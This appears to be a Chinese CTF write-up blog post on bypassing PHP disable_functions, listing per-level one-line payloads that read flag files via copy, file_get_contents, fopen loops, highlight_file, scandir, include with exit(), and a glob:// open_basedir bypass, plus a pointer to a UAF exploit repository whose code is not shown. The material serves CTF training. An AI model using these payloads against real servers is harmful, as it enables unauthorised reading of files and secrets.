该系列为php中绕过disable function的题目 下文中写的过xxx(65之前的)表示此题及此题之前的都可以过
通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
函数:
copy()
rename()
用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60
单一函数读文件内容:
函数:
file_get_contents()
readfile()
file()
用法:
echo file_get_contents("flag.php"); //过58
readfile("flag.php"); //过58
print_r(file("flag.php")); //过59
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a); //过59
$a=fopen("flag.php","r");echo fread($a,"1000"); //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} //过60
高亮显示php文件
函数
show_source()
highlight_file()
用法:
show_source("flag.php"); //过65 此后需先扫描目录
highlight_file("flag.php"); //过65
flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt"); //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . ""; };highlight_file("/flag.txt"); //过66-67
后面因为是txt文件,所以直接用include直接包含就能显示flag
include()
require()
用法:
include("/flag.txt"); //过66-70
require("/flag.txt"); //过66-70
绕过echo preg_replace("/[0-9]|[a-z]/i","?",$s);
直接后面输入 exit();即可
用法
include("/flag.txt");exit(); //过71
require("/flag.txt");exit(); //过71
echo(scandir("/")[6]);include("/flagc.txt");exit(); //过73
$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . ""; };include("flagx.txt");exit(); //过74
绕过open_basedir
//可绕72的目录限制,但无法读文件
$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . ""; };include("flagx.txt");exit();
//可绕72,利用uaf绕过函数限制 (传入后需url编码下)
代码来源(https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)
c=?>
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?